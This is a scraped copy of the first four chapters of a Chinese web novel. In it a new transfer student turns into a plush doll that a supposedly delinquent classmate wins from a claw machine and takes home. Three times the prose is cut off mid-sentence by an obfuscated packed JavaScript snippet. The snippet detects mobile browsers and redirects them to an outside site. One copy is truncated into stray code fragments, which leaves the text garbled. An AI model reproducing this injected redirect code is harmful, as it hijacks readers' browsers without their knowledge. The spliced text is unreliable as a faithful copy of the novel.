《我真不是东西啊[快穿]》 1. 棉花娃娃01 宝宝巴士的儿歌循环播放,终于把明萝吵醒。 头顶闪烁着灿烂的灯光,身体又软得离奇,仿佛陷在一团棉花海里。 她蹙了蹙眉,视野逐渐清明。 一张五官乱挤的肉脸映入眼帘。 什么啊!明萝吓了一大跳,想要朝后躲,却发现她动不了了。 这时,贴在玻璃上的小孩,被妈妈拍了下脑袋:“脏不脏?别看了,回家。” “我不,我要夹娃娃!这个娃娃和别的不一样!” 女人看了明萝一眼:“还真是,其他的都是那只带电的黄老鼠,就它是穿校服的小女娃娃,蛮好看的。” 小孩点头:“她还有小书包呢。” “……那也不能夹。夹娃娃机专骗你们这种小孩子,胜率都被调过了,还不如直接买。跟这个一样好看的娃娃,网上多得是。走了走了。” 明萝呆了好长时间,勉强接受现在的情况。 转校第一天,她好像,变成学校外精品店,夹娃娃机里的娃娃了。 不仅是她,还有她刚领的校服、背后的书包、头上的发卡……全都等比例缩小,浓缩成一只棉花娃娃。 明萝在玻璃倒影里反复欣赏,傻笑。 是蛮好看的哦。 不对。 现在重要的不是这个! 脑袋磕到机器前,她在精品店门口看见过告示,这里晚上十点关门。她下晚自习都已经九点了。 能不能变回人、怎么变,这些问题先放一放,总不可能一直被锁在这里吧?一会人走灯灭,她那么怕黑,怎么办啊。 明萝立马祈祷:刚才那个小朋友,你快回来吧,把我夹回你家里…… 其他人也可以,谁都可以…… 除了那个人。 不过那个人,肯定不会来玩这种可可爱爱的东西。 明萝非常放心,虔诚祷告,心想事成,身前果然落下阴影。 她高高兴兴地看过去。 玻璃对面,糖纸般的灯影,照在“那个人”恰好低下来看她的脸。 从这个角度,能看见他黑色外套下,解开一颗纽扣的夏季校服领口,凹凸有致的喉结与锁骨。 平心而论,喻也真的非常帅。 冷白皮,高高瘦瘦,眉骨硬朗,是那种很冷酷的帅气。 他一眨不眨地平视她,眉眼间却多了白天看不见的柔和。 冲着这份柔和,只看当下,他一定是把她带走的很好人选。 ——如果明萝没有直击这位“校霸”揍人现场的话。 今早,明萝兴冲冲地去新学校报道。 为了早点到,她走了蛋糕店老板指的小路。刚到巷口,就看见一个男生的背影,肩宽腿长,很显眼。 他在跟另一个更瘦弱的男生说话,那人反应激烈,似乎顶了几句嘴,他猛地揍了上去。 一拳又一拳,打到那个男生跌坐在地,眼睛里面的光都消失了,才肯罢休。 转身时,他似乎还遥遥看了眼明萝,皱起眉。 明萝吓得掉头就跑。 来到新班级,老师分配座位,一开口却是:“喻也要坐最后一排,就把你的桌子加在他前面吧。” 顺着老师的视线认出他,明萝差点嘎巴一下死那儿。 喻也倒还是那副什么都不在意的表情,说不定在巷子里,根本没看清她。 抱着侥幸的心态,明萝惶恐坐下,连给他传卷子,都双手奉上,全程没敢抬头。 喻也接过卷子,眉骨微压一下,她就慌忙转身。好不容易熬到放学,在校外闲逛,心情才放松下来。 没想到如今,比坐前后排更可怕。 明萝都想哭了,可惜棉花娃娃没有眼泪,她只能眼睁睁看着喻也换了五个币,眼神紧紧锁定她。 但好运还是眷顾她的。 脑袋上面的那只皮卡丘被夹走后,明萝发现,她可以滚动! 虽然需要很努力地使劲,幅度也特别小,但那位妈妈说得对,娃娃机本来就不好夹,只要随便滚一滚、滑一滑,她明萝今天就是在这里过夜,也绝不会被这个可怕的男生抓走! 娃娃机外,喻也投下第二枚币。 他手指修长,深粉的骨节正对她。操纵摇杆的动作看上去很熟练,神态也是老手才会有的,波澜不惊,又势在必得。 抓夹轻轻松松,来到她的正上方。 喻也按下按钮,人已经站到拿取娃娃的那一侧。 明萝:我滚我滚。 抓夹不负所望,在她脑袋上按摩了一下,缓缓离开。 喻也怔了怔,微眯着眼,投下第三枚。 明萝:我继续滚。 抓夹又一次慢悠悠地缩回。 喻也皱起眉。 第四枚、第五枚……明萝如法炮制,最后直接滚去角落,卡在一个极其刁钻的位置。 嘻嘻。 没招了吧。 喻也果真如她所愿,臭着脸走了。 精品店里到处都是好看的娃娃,他手上也有只皮卡丘,估计很快就会把她忘了。 明萝如愿以偿、如释重负、欢天喜地!还没高兴多久,宝宝巴士的奏鸣中,突然多了一道清脆的硬币响声。 ——喻也手里拿着满满一大筐币,再次站在娃娃机前。 漆黑的眼睛盯着她,满是被激起来的胜负欲。 完蛋。 怎么把他挑衅到了。 明萝心麻了,索性躺平。 喻也刚投了一枚币,随手一夹,就这么把她夹了起来。 喻也:“……” 他看着剩下一满筐的币,气笑一声,捏了捏娃娃的肚子。 手感不错,软软的。 喻也又捏一下。 手心的娃娃似乎轻轻颤抖,还有点发热。 他眯起眼,突然发现手肘后面有个小孩,戴着奥特曼面具,拿一把塑料剑乱戳。 娃娃不可能自己动,恐怕是他戳的。 喻也面无表情,手按住小孩的肩膀。 明萝刚痒得不行,好不容易忍下来,就看见这一幕,替小孩捏了把汗。 但预想中,像早上那样暴力血腥的场景,没有再现。 喻也冷着脸,耐心地教育了小孩几句,把没拆牌的塑料剑挂回去,又在小孩保证,再也不在路边挥剑后,将剩下一大筐币,和最开始抓到的那只皮卡丘,随手给了他。 之后,不顾小孩大声的“谢谢哥哥!”,酷酷地带着明萝走远。 明萝被托在手心,认真看着喻也微微扬起的下巴。 这个人,好像不是她印象里的不良少年。 早上的事,难道另有隐情吗…… 这时,不远处响起沙哑的男低音:“喻也!你怎么在这儿?” 明萝还没反应过来,就被一把塞进黑色斜挎书包。 书包是按扣式,那边人已经走近,喻也没来得及扣好,把包挎在身后,转过去打招呼。 明萝闷得不行,头掀包帘,从里面悄悄挤出来。 只见迎面三个狂野男孩,全都染了发,穿得机车又摇滚,有一个手里还攥着烟盒,抛抛接接。 明萝立马缩回包里。 这就是不良少年啊! 喻也跟那几个人显然很熟,可能平时就在一条道上混。他说,来这里随便转转,马上就回家。 明萝听在耳里,天昏地暗,满脑子都是香港电影里,黒帮的“大本营”“聚集地”。 趁他们专心聊天,她心一横, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292262|198504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝着包外,努力蠕动再蠕动。 跳! 喻也看着男生手里的烟,蹙眉:“谁给你的?” “没谁,我爷的。”男生压低声音,笑话道,“臭老头子天天咳嗽,送到疗养院还偷着抽,我一发现就给他没收了。” 喻也点了点头,忽然感觉包轻了些。 回过头,包盖垂下,没有异样,地面空空如也。 “怎么了?” 喻也收回眼:“……没事。” 明萝在地上弹了好几下,滚到一块招牌后,就偷看到喻也和几人告别,独自走远。 看上去完全没有发现包里少了个她。 哈哈哈哈哈!明萝仰天长笑。 可没过多久,她就再也笑不出来了。 天色越来越黑,沿街的店面,灯一家一家熄灭。 夏秋交季,晚风凉飕飕的,时不时还有梧桐叶被吹落,有的跟现在的她差不多大,像一片天塌下来。 明萝瑟瑟发抖。 拜托拜托。来个善良的好心人,把她捡回家吧。 但也许是那块招牌太大了,也许是她现在太小、太不起眼了,仅有的几个路人,也都行色匆匆,没有分来一个眼神。 等来等去,头顶喷洒来一道热气。 一只大黄狗两眼冒光,对着她,兴奋地张了张嘴巴。 啊啊啊! 我是棉花又不是骨头,你不要过来啊! 明萝努力地躲避,努力了半天,只是屁股在地上打了个转。 眼看着大黄狗渐渐逼近,牙齿都快抵到她小衣服的角角,她心如死灰。 突然,一只手轻轻地将她捞起来,捏了捏。 寂静昏暗的街道,喻也站在暖黄色的路灯光里,像电影里主角出场的画面,本就生得正,把她护在手心,又多了份霸道的意味。 明萝差点都要看呆了。 如果不是接下来,喻也一本正经,蹲下去和狗说话的话。 他看着大黄狗,沉声说:“它是我的。” 大黄狗不知听懂多少,晃了晃尾巴,哼哧哼哧地跑走了。 喻也哼了一声,目光回到明萝身上,看得很认真。 不会是发现了什么吧? 明萝对着自己在他眼睛里小小的倒影,心跳得越来越快。 过了几秒,喻也叹了口气。 他轻拍走她身上的灰,低声说:“好脏。” 明萝脸一热。 喻也把她用手帕纸包好,放进包里,这次塞到了最里面。 临了,还弹了下她的脑袋:“别再掉出去了,麻烦精。” 你才麻烦精,你才麻烦精。 明萝缩在包里生闷气。 但是,这里比大马路上暖和多了,他的手帕纸也一层一层,像被子,香香的。 明萝这回没跑,一路平安无事,被喻也带回家。 刚到门口,他就把她从包里取出来,明萝本来还有点不敢看,生怕误入什么龙潭虎穴,没想到防盗门一开,里面装修得很温馨。 是个漂亮宽敞,有生活气息的正常住所。 到了喻也的卧室,她更是睁大眼睛。 一面墙那样大的木柜,每一层都摆得满当当,全是各种各样的玩偶娃娃。 有迪士尼的公仔,时下最热的ip玩偶,还有某些动漫角色的棉花娃娃…… 喻也托着她,走进卧室里面的浴室。 他放好热水,沾湿她的脸,一点点擦洗。 和冷峻的外表、坚硬的指节截然相反,他的力度很轻,甚至可以称得上温柔,手上的茧磨得明萝痒痒的。 她忍不住颤了一下,抖落好几滴水。 喻也顿时停下动作,神色有些探究地盯着她看。 2. 棉花娃娃02 明萝心虚不已,屏息凝神,被他注视。 幸好喻也没有多心,只是自言自语:“电动的?触摸感应?” 反正他听不见,明萝小声吐槽:人动的。 喻也把她拎在手里到处检查,还打开了她的小书包,什么也没发现,最后把她提到眼前,严厉地说:“再乱动就把你当皮球踢。” 呸! 明萝娃娃脸上笑嘻嘻,在心里给他比鬼脸。 还好,喻也虽然话狠,擦洗的动作却更加轻柔。不一会,明萝就变回了一只干净漂亮的娃娃,对着镜子臭美。 更让她开心的是,喻也拉开玻璃移门,把她放到木柜最中心,自己坐去了书桌前。 明萝松了口气,这才有空,思考一下现实。 她跟着妈妈爸爸工作调动,来这里上学,他们却还有业务没交接好,暂时留在原来的城市,新家目前就她一个人住,回不去也没人会发现,不会让他们担心。 今天是周五,一直休到周天,才有晚自习要上,她刚转来,也不会被人找出去玩。 这样看,当一会娃娃,也不会被发现,接下来,只要想办法变回去就好了。 明萝心态好了许多,正打算先躺一会再说,突然意识到一个极其严峻的问题。 作业! 她的作业怎么办? 这还是周末的作业! 万一她就这样变了两天娃娃,周一早上一睁眼,突然变回人类…… 明萝想象了一下那时的场景。 她拿着空空的作业本,对老师解释:“对不起老师,我不是故意不写作业的,周末我变成娃娃了。” 老师点点头。 给精神病院打电话。 明萝愁眉苦脸。 一转眼,看见喻也,更愁了。 不良少年一般不会好好学习,自己的作业都不一定写,更别提怎么帮她了。 没想到,喻也打开书包,取出了她传给他的那张空白卷子,平摊在桌子上。 看起来是要好好写作业的样子。 明萝眼睛都亮了亮。 在她期待的视线里,喻也转了转笔。 叹了口气,又放下。 掏出手机。 不一会,书桌前响起一声响亮的“Timi!” 明萝:…… 坏学生! 她到底为什么会对他抱有期待? 明萝气得棉花都快膨胀,这时,卧室门被打开。 手机叩在桌面的声音十分响亮。 门后,中年男人高大英俊,应该是喻也的爸爸。他说:“你妈妈后天出差回来,我们一家三口可能要出去玩一个下午,你最好周日中午前把作业写好。” “哦。”喻也神情淡定,握着笔,一点都看不出开门前还在打游戏。 “写不完也好。”喻也爸爸期待道,“这样我和我老婆就能过二人世界了。” “……” 喻也淡呵一声,“我一个人在家里吃狗粮,没事的。” “你羡慕你也谈嘛,我们可是很开明的家长哦。” 喻也不知想到什么,表情有些烦躁。 他转着笔,目光落在空白的试卷上。 “没意思。” “你天天跟你这娃娃玩有意思?”喻也爸爸睨着他,关门前,慢悠悠地说,“把草稿本下面的手机收一收,赶紧写作业。我订的是家庭聚餐包厢。” “……哦。” 明萝在柜子里偷笑,一抖一抖的,喻也却旋即朝她走来。 明萝吓了一跳,慌忙憋住。 看什么看,都被爸爸说了,快去写作业呀。 被他眯着眼盯了好一会,拿去书桌后,她才反应过来。 他是不是写作业还要娃娃陪呢? 哼哼。 那善良的明萝大人,就趁机解决一下她的作业问题,顺便勉为其难,陪一陪他吧。 她端端正正地坐在卷子左侧,眼睛往题目上瞟。 第一题,倾斜角…… 第二题,等差数列…… 前几道都可以心算,但从第七题开始,就需要列稍微复杂一点的式子,明萝大脑飞快运转,刚苦叽叽地想完公式,喻也的左半面试卷做完了,直接对折卷子,开始算右上角的第九道选择。 明萝哼哼唧唧。 不过,翻面前,她瞟到了他前八道选择的答案,起码前六道,都和她做的一样。 喻也还在认真做题,明萝偷看了眼他的侧脸,心思一动,注意力从题干,跑到题干右边的答案框。 刚才八道是CBAABDAD。 三道多选是ABD,AD,ACD。 填空:(3,5)…… 对不起老师,我发现写作业的时候直接背答案会特别舒服! 这样看,如果能在周一前变回人,她的作业还是有指望能赶完的。明萝可真是个小聪明蛋,嘻嘻。 喻也做完卷子,洗漱出来,摸了摸明萝的脑袋。 娃娃的毛,似乎比刚夹到时顺了不少。 小脑袋软软的,圆圆的,茸茸的,手感非常好。 “晚安。”他迟疑了一下,说,“你没洗,今晚先不带你上床睡了。” 她干净着呢! 不过明萝本来也不打算睡,她还有非常重要的事要做。 等喻也上床后,她接着默背。 CBAABDAD。ABD,AD,ACD,(3,5)…… CBAABDAD。ABD,AD,ACB,(3,5)…… CBAABDAD。ABD,AB…… 什么来着? 明萝大脑突然空了一下。 不好。 碰巧喻也没有睡熟,或者压根没睡着,翻了下身。 她的注意力跑去他那里,刹那间,脑子里只剩下那张帅气的脸。 四个字母仿佛手拉手,在她眼前胡乱转着圈:忘掉我了吧,忘掉我了吧~ 明萝心碎了。 幸好幸好,喻也做完卷子,没有塞回书包里,而是放到了离她有一段距离的书桌右边,还有机会看。 她一鼓作气,鼓作气,再鼓作气,真像个皮球一样,圆润地侧着滚了过去。 可惜,第一次当娃,业务不熟练,鼓得太猛了。 直接滚过卷子,滚过桌角,滚到了地上。 噗咚。 声音不大。 但床上还是传来息窣的翻被声。 没过多久,喻也穿好拖鞋,先把她拾起来,才走到窗边。 纱窗透风,恰好给她掉地找到借口。 喻也关好窗,窗帘轻动,月色透进来,照在他睡意朦胧的眉眼。 平素冷酷的人,看上去竟有几分温柔。 开口仍是:“麻烦精。” 明萝不服气,却也不好顶嘴。 是真的麻烦到他了。 她躺在他手心,乖乖等待数落,谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292263|198504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知喻也这就打住,什么也没再说,只淡淡地勾了下唇角。 明萝忽然想到学校里看见的他。 没什么表情,一天都没见和谁说上几句话。 偶尔有,也是男生来找他打球,他还不感兴趣地拒绝。 她要是真的变回人类,是不是也看不见他这样笑了? 明明知道这个人可能有危险,这一刻,明萝居然有些遗憾。 但她很快就无暇顾及这些。 喻也带着她,往他的床走,训道:“不看着你就到处掉。” “让你上来睡,行了?” 他把她放在枕头的另一侧,盖进他的被子里,最后,自己也躺进来。 明萝要炸了! 人生十七年,她第一次和一个男生同床共枕!!! 喻也的体温比她高,呼吸热热的,被窝里面自然也暖暖的。 他刚洗完澡,不知道是洗发水、沐浴露还是洗衣液的味道,特别特别香。明萝被陌生的香味弄得脑袋发晕,真的感觉体内的棉花在无限膨胀。 一夜无眠。 第二天一早,喻也还神清气爽地盯着她,蹙眉:“你怎么蔫了。” 明萝真是娃娃吃黄连,有苦说不出。 正巧其他洗衣机满了,喻也爸爸抱着衣篮,来他浴室征用,瞥来一眼:“你洗完没晾啊?” “没洗。”喻也说,“给她买的换洗衣服还没到。” 明萝竖起耳朵。 她还有新衣服呢?长什么样啊? 可惜这个话题并没有进行下去,喻也爸爸说:“你要洗也没地方晾了,这两个多周你妈妈不在,我偷懒没洗衣服被子,得赶在她回来前晾完。” 喻也淡淡道:“洗不完也好,明天下午我和妈妈出去吃饭,你留在家里洗衣服。” 明萝躲在他怀里偷笑。 喻也爸爸瞪了他一眼,目光落在明萝身上。 “你这个娃娃身上这套,倒和你学校校服挺像的。” 明萝一下就笑不出来了,紧张得浑身僵硬。 “是吗?”喻也顿了一下,垂下眼,“没有吧,校服不都长这样。” “也是。” 明萝松了口气,瘫在他手臂中。 男生的手臂都这么硬吗? 喻也爸爸:“那你的小娃娃蔫了,怎么办呀,我看外面出了太阳,你一会出去带它一块呗,刚好我在你房里洗被罩。” 喻也挑了下眉,看向明萝。 明萝也睁着大眼睛,期待地看着他。 出门咯!去哪呀? 能让爸爸知道要出门,肯定不是去什么危险的地方吧。 她欢欣雀跃地等待。 出门前,喻也拍了拍她的脑袋,酷酷地说:“走了。” 他一字一顿:“带你去火拼。” ? ??! 明萝吓得差点没从他怀里滚下去。 火拼?是她想的那种,□□混混斗殴的火拼吗?为什么要带上她,她能干嘛啊! 是当他的吉祥物,还是让对面的混混笑死,没力气还手? 还是真的拿她当皮球,往对方头上踢? 她不要去啊! 叔叔救命啊! 门还没关,明萝朝屋内,目送他们的喻也爸爸疯狂呐喊。 得到他笑靥如花的挥手相送。 下了楼,喻也把她放进自行车前面的筐里,还垫了一层小毛巾,和他身上一样的味道。 3. 棉花娃娃03 “感动吗,”他问她,“你是我第一个带出来的娃娃。” 不感动。 也不敢动。 一路晴光朗照,明萝越晒越蔫,直到头顶响起喻也提醒的声音:“到了。” 她鼓起勇气,直面现实—— 嗯? 拳馆? 场馆很大,工业风设计,看上去相当正规、专业。 里面没有别人,喻也打开灯,把明萝和小毛巾一起放在椅子上。 他在她身前驻足,抬眸定睛,应是在看什么,眸光浮沉。好一会后,才走向更衣室。 明萝努力地扭动,朝他刚才看的方向望去。 一面挂满拳套的墙,正中心,两排错落有致的相片被围起来,她一眼就认出,其中一张合照里的喻也。 他站在最中间,手握奖杯,表情还是一贯的拽,但没有在教室里那种冷淡的气质。 是站在太阳下、微微扬起下巴的拽。 身上穿着明萝没见过的的校服,应该是初中时拍的。相框边沿用小字刻着:纪念拳击社第一张合影,旗开得胜,未来可期。 喻也换好训练服,走出来时,明萝已经坐正回来。 他似乎很喜欢黑色,衣服、裤子、鞋子、拳击手套,还有她旁边的挎包,清一色的黑。 上衣看不出什么面料,既柔软修身,热身动起来时,又好像很紧,很硬。 但明萝看了会就发现,硬的不是面料,是他结实的肌肉。 明萝脸一红,很想闭上眼睛,可棉花的外表做不到,只能正对喻也,看着他肌肉线条,起伏蓬勃。 喻也就很坦然,无所顾忌地对沙包挥拳,停下来休息时,还扯了扯衣领,腹肌若隐若现。 他哪里知道,娃娃里住着个大活人,是他前桌的新同学。 新同学还一直被迫偷窥他。 明萝真怕她下一秒就在这里变回人类。喻也的拳头不会落到她身上来吧? 她再看那个沙包,脑海里不禁浮现出大号棉花娃娃版的自己,被挂在那里,拳头哐哐砸上去。 不会的不会的!明萝连忙自我安慰。 喻也看起来,真的不像坏人。 可他为什么要打人呢?不管有什么隐情,暴力手段都是不好的。 明萝内心动摇,训练场外的走廊,忽然传来脚步声。 喻也顿了一下,阔步走向她。 盯着看了许久的身体突然逼近,明萝的心跳不自觉加速,分不出是因为担心挨揍,还是……视觉冲击。 光照在他冷白色的皮肤,刚运动完,关节处晕着明显的粉红,周身也散发热度,光是手碰了碰明萝,她就跟被点着了似的。 下一秒,天却黑了。 喻也从洗漱袋里取出浴巾,把她严严实实地盖起来,对正好进门的教练打招呼。 他好像很不愿意别人发现她。 明萝哼了一声。 她见不得人? 不过也是,她这么可爱,怎么看都和他不搭。 教练:“今天不和你对打了,家里有点事,取个东西我就走。” “没事。”喻也说,“又不比赛了。” “哎,是啊。” 教练压低声音。 “……又去找你了?” 明萝闷在浴巾里,听不清楚。 想和上次在书包里一样,钻出去,可他的浴巾太大,她费了好大劲,还是只能在原地打转。 教练走后,喻也知道把浴巾拿走了。 他看着一动不动的棉花娃娃,挑了下眉。 小麻烦精。表情还是甜甜的笑,但是脸好像比平时要鼓一点,像鼓着腮生闷气,又像被充了棉,很蓬松。 也很生动。 仿佛不是娃娃,而是一个鲜活的人,坐在椅子上。 比他见过的其他任何娃娃,都可爱。 想知道店家从哪里进货,或许明天上学,可以顺路去问问。 喻也捏了捏它的脸,刚运动完体温高,把娃娃的脸也搓得热。 反正周围没人,他低下头,鼻尖碰在它毛茸茸的小刘海,闻了闻。 “昨晚睡觉时就想说。” 喻也自言自语,“你怎么这么香。” 一阵不知哪来的风把娃娃吹倒,他这才注意到,它做工非常精细。 脸上还有腮红。 - 家庭聚餐的酒店离学校不远,周天下午,喻也吃完饭,索性步行去上晚自习。 梧桐道落满夕光,他斜后方,明萝偷偷顶开包扣,探出小半颗脑壳。 要问她为什么能跟着喻也来上学,还得追溯到早上。 他前天晚上就写了张数学卷子,昨天出去“火拼”不成,自己对着沙包打了一整天,今天起了个大早,赶周末两天的作业。 明萝陪他一起赶。 嗯。 他一边写,她一边背他的答案。 也许是她求知若渴的气质,透过棉花也能散发出来,喻也用笔帽点了点她的脑袋。 “还是只好学宝宝。” 他漫不经心地说,“你替我去上晚自习好了。” 明萝巴不得自己去,下意识点头,整只娃栽倒在桌上。 喻也似乎已经对她的随地大小倒免疫了,无奈地笑了一下:“带你去还不行么。” 明萝看见他微微上扬的嘴角,刚被扶正,差点再倒一次。 从夏入秋,该降温才对。 她这团棉花,怎么有点反季。 回到此刻。 前方不远就是那家精品店,明萝蓄势待发。 她思来想去,还是娃娃机最可疑,说不定再磕一下脑袋,就变回去了呢? 但怎么让喻也走进那家店,是个大问题。 明萝苦恼了好半天,回过神,已经跟着喻也,进了店内。 他径直走向柜台,问一些玩偶娃娃相关的事,还问有没有进新的娃娃。 最好是男生,黑头发,穿校服。 明萝睁大了眼睛! 他怎么刚夹到她,又要来买新的娃娃? 真是个喜新厌旧的男人! 但她瞬间就理解了。 就像那位妈妈说的一样,好看的娃娃有很多,街上、网上,包括喻也那个大柜子里,随处可见。 而且,总会有更好看的娃娃。 她不是他的第一个娃娃,也不会是最后一个,甚至好像没什么特别,只有点新鲜。 书包里空气稀薄,弄得她闷闷的。 喻也被领着去看了几款玩偶,看样子都不满意,一个也没买,自己在店里转,最后走到娃娃机前。 现在里面只有皮卡丘,也不知道他停在这里看什么,在想什么。 明萝无声地哼了哼,趁喻也不注意,冒出头,朝娃娃机一顶。 她心情太坏,不小心撞猛了,额头疼得厉害,缩回包后,还感到天旋地转。 等喻也到了学校,把书包放在课桌上,去接杯水的功夫,明萝的眩晕感达到顶峰,就这样变回了人,一屁股坐在他凳子上。 与此同时,喻也回到教室。 四目相对。 明萝一下子弹起来,把他的凳子塞到桌子下面,想了想,又挪出来摆好,退后几步。 “我,我不小心坐错了,对不起。” 刚变回人,还不大习惯开口发声,两句话被她讲得磕磕巴巴,声带嘶哑。 喻也听在耳里,只觉得这人未免也太怕她。 兔子似的。 他眸光暗了暗,没说话,走回了座位,对着包盖打开、只剩下书本的书包内部,神容一滞。 明萝跟着他视线望去,暗道一声不好,忙说:“我没有碰你的书包。” 喻也深皱起眉,低沉地“嗯”了一声。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292264|198504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他吃完饭就直接来了学校,时间还早,教室后方,只有他们两人;前排零零散散的几名同学,也都在埋头写作业,或者补觉。 喻也下巴紧绷,拿上手机就离开教室。 明萝下意识伸出手,连他的衣角都没碰到。 昨天晚上,她还近距离,闻见他睡衣的香味。 手悬在空中,慢慢缩了回来。 明萝回到座位,看见一书包待写的作业,更难受了。 脚下仿佛还踩着团棉花,她总有一种预感:这变来变去的事情,远没有结束。 也许很快,她又会变回娃娃。 明萝忙取出卷子,把背好的选填答案填上去,再奋笔疾书,补大题。就算不久后又变娃,好歹能把作业交了。 她还得想想,怎么拟假条,以备不时之需。 麻烦的问题一个接着一个,明萝心事重重,晚自习打铃才发现,喻也一直没有回来。 前桌的陈莉佳是班长,在班主任路过时,向她汇报。 班主任:“喻也啊,没事,他今晚请假了,说是要去找什么东西。” 明萝怔了怔,回过头。 他的书包还在课桌上,看起来孤零零的。 她抿住唇,转回去,望见一长排选择题的答案,想起月夜下,他朦胧的淡笑。 晚自习结束后,陈莉佳友好地问明萝:“要不要一起出校门?” 明萝摇了摇头:“我想留一下,把这页题做完再走。” “太好学了吧新同学。” 好学什么呀。周末两天,一个字都没动。 虽然不是她的本意。 明萝不好意思地说:“班长你先走吧,路上小心。” “你也是,我听说初中部最近有群不良少年,在校园墙喊话打群架,也不知道学校有没有注意到。别把咱们波及了。” 明萝立马忧心忡忡,看着她,认真地说:“那你一会一定要小心。” 陈莉佳眨了眨眼,没忍住伸手,拍了拍明萝圆圆的脑袋。 “该小心的是你。”她意味深长,瞥了眼后面,喻也的座位。 明萝对班长说谎了,写完这一页题,也没有离开教室。 晚自习结束后半个小时,喻也才冷着脸,步伐沉重地回到座位。 看到明萝还在,他拿书包的动作迟了一秒。 明萝恰好回眸,犹豫了一下,小声问:“我听班主任说,你要找东西。是你回来后,发现书包被打开,里面不见了的那个东西吗?” 喻也蹙了下眉,眸光微闪:“你看见了?” 明萝心虚地说:“没有,我什么都不知道,乱猜的,我……我帮你一起?不要再旷课找了吧。” 喻也看了她一眼,像是烦了,迅速地移开目光,说:“和你没关系。” 冷淡的声音,拒人于千里之外的态度。 明萝这才意识到,原来喻也之前对娃娃模样的她讲话,都会轻言细语。就算面无表情,也总是柔和的。 但对现在的她,这个陌生又冒昧的同学,就像一块化不开的冰。 落差感,真的是一件很可怕的事。 她说:“我知道了。” 喻也似乎欲言又止。 明萝不想从他嘴里再听见任何冰冷的话,飞快转回去,把没合上的草稿本、作业本,通通塞进书包,背起来,逃离教室。 夜深人静,住宿生在自习,教学楼灯火通明,衬得她一个人走在路上,身影愈发黯淡。 新家就在学校附近,明萝步行回去,又走到那条初遇喻也的巷口。 她不想再走这条路,却也没有马上走开,站在原地发呆,双手拉着书包的肩带,手背被晚风吹得凉凉的。 昏黄的路灯闪了一下。 明萝回过神,睫毛颤了颤。 身后忽然传来喻也的声音,还是淡淡的:“又害怕了?” 4. 棉花娃娃04 明萝下意识抓紧包带,看向他。 暖黄色的路灯下,女生的头发看上去毛茸茸,两只手朝内扣着书包带,从喻也的角度看,像两只小面包。 圆圆的瞳孔颤了颤,分不清是惊讶,还是惊慌。 喻也走过她。 “顺路而已。” 两道影子在地上相碰,又分开。 他低声补充:“……今天里面没人打架,别怕。” 明萝睫毛动了动,小跑几步,跟上去。 小声辩解:“我没有害怕。” 喻也挑了下眉,不置可否。 明萝偷看他一眼,好像又回到变成娃娃,被他揣在包里走路的时候。 上次在这条巷子里,她还被他吓到逃跑;没想到才过了几天,在他身边,竟然会让她感到安全。 到了明萝住的小区门口,她向喻也道别:“谢谢你送我回家。” “没送你。”喻也面无表情,又说一遍,“是顺路。” 她又不是不知道! 现在她在他心里,就是个再普通不过的同班同学,怎么可能专门送她。非要强调。 明萝很小幅度地抿了抿嘴,在喻也转身离开前,鬼使神差地问:“你去找的那个东西,很重要吗?” 喻也神情有点意外。 明萝已经后悔问出来,僵在原地,越来越紧张。 喻也没有正面回答,只是看着她说:“它是不一样的。” 回到家里,明萝才想起来。 喻也家和她家,正好在学校左右两边。 出了巷子,就没有顺路的可能。 这么晚了,他不回家,还要在外面找娃娃吗? 和明萝分开后,喻也问爸爸要来酒店经理的号码。 “丢什么了,那个新娃娃?” 喻也声音沉闷:“嗯。” “你零花钱不是刚发吗,再买一个一样的不就行了,大晚上在外面找什么,快回来。” “……没有一样的。” “那就找人给你定制一个,总会有办法。” 喻也没答话。 结束通话,他回到居住的小区,路过快递驿站,想起中午收到的短信。 【您的包裹“棉花娃娃手工服饰套装”已存入驿站,请及时领取。】 他是会对玩偶说话的人,却特意没有把这条消息告诉它。本来想给它一个惊喜。 可他把它弄丢了。 喻也不想取这个快递了,锁屏手机,径直走远。 一觉醒来,明萝没有变回娃娃。 来到学校,看到喻也按时来上学,更是松了口气。 她平静的校园生活,似乎又要拉开序幕,可转校的弊端,慢慢浮现。 下午体活课,关系好的同学都两两结队,一起去做各种球类运动,不然就是几个人坐在操场边,聊班里班外的趣事,哪个老师的八卦。 明萝连老师的名字都没认全,插不上话,听了也没法跟着笑,索性去人群外,一个人玩健身器材。 陈莉佳看见了,主动走过来:“带手机了吗?咱们学校出教学楼都是可以用的,大课间也可以,不抓这个。加下企鹅,我拉你进班群。” 明萝眼睛亮亮地看着她,掏出手机:“谢谢你。” “你好客气呀。”陈莉佳被她看得美滋滋的,不由笑起来。 但在看到明萝加完她、加入群、在群里搜“喻也”的名字时,陈莉佳笑容一僵,压低声音:“你可不要因为坐得近或者看脸,就谁都加哦,还是先相处一段时间再说。” 明萝疑惑地看向她。 